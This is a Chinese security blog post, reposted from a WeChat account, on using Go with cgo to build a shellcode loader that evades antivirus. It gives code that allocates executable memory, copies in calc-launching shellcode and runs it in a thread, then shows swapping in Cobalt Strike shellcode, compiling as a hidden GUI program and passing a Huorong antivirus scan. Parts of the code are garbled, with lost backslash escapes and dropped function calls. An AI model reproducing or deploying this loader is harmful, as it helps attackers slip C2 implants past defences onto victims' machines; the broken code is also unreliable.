2.mingw64
下载地址
https://sourceforge.net/projects/mingw-w64/files/
注意: sjlj 版本支持32位和64位编译,seh 版本仅支持64位程序编译; posix 版本封装一层,并没有直接调用windows API,而 win32 版本直接调用了windows API,性能更好, 对于跨平台编译的话我建议选择 posix-sjlj 版本,这样可以很方便编译dl和so文件,缺点是文件稍微大一些,编译速度慢一些. 我这里选择的是(x86_64-posix-sjlj), 下载后之后把解压目录下的bin加入到环境变量中
设置go
set CGO_ENABLED=1
c语言和go语言类型的对应关系
main.go
package main
/*
#include <windows.h>
int Func() {
// 运行计算器shellcode
unsigned char sc[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x2ex65x78x65x00";
使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
申请失败 , 退出
if (addr == NULL) {
return 0;
}
把shellcode拷贝到这块内存
sc, sizeof(sc));
创建线程运行
HANDLE hThread = CreateThread(
0,
0,
(LPTHREAD_START_ROUTINE)addr,
0,
0,
0);
等待线程运行
-1);
关闭线程
CloseHandle(hThread);
return 0;
}
*/
import "C"
func main() {
C.Func()
}
/**/ 中编写c代码, 在main函数中使用C.函数名调用
编译
go build -ldflags="-w -s" -o test1.exe main.go
替换成cs的shellcode
package main
/*
#include <windows.h>
int Func() {
unsigned char sc[] = "xe8xa0x03x00x00xeb"; // cs的shellcode
使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
申请失败 , 退出
if (addr == NULL) {
return 0;
}
把shellcode拷贝到这块内存
sc, sizeof(sc));
创建线程运行
HANDLE hThread = CreateThread(
0,
0,
(LPTHREAD_START_ROUTINE)addr,
0,
0,
0);
等待线程运行
-1);
关闭线程
CloseHandle(hThread);
return 0;
}
*/
import "C"
func main() {
C.Func()
}
编译
go build -ldflags="-w -s -H windowsgui" -o main.exe main.go
火绒查杀测试
成功免杀火绒
原文始发于微信公众号(Sec探索者):【免杀】go语言调用c/c++代码
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论